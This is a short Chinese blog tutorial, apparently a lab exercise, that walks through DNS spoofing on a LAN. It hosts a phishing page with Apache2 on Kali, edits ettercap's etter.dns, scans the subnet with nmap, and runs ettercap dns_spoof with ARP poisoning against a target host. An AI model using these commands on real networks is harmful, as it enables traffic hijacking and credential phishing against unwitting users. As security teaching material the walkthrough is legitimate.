本文详细介绍了如何进行DNS劫持，通过Kali Linux和Ettercap工具，实现将目标主机的网络流量重定向到黑客的Apache2服务器上，以此进行钓鱼攻击。操作步骤包括启动Apache服务、制作钓鱼网页、修改ettercap DNS配置、扫描目标IP、发起ARP欺骗。此过程揭示了网络安全中DNS欺骗的潜在威胁。
DNS欺骗，被攻击的主机访问任意网站的回被转到特定的钓鱼网站，
实验工具：
kali linux 黑客机
win10 肉鸡
apache2
ettercap
操作步骤
1，打开kali上的apache2服务，
@kali:~# service apache2 start
root@kali:~# service apache2 status
绿点就是已经开启了。
2，制作网页，钓鱼网页不回做，就随便做了一个，命令如下
@kali:~#vim /var/www/html/index.html
3，修改ettercap DNS文件；
ot@kali:~# vim /etc/ettercap/etter.dns
A 192.168.1.112 （黑客机IP地址)
4,寻找目标IP
kali:~# nmap -sP 192.168.1.1-255
5，发起欺骗
kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.132///
IP地址是被攻击的主机，
6，被攻击的主机访问任意网站的回被劫持，
扫一扫
673
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
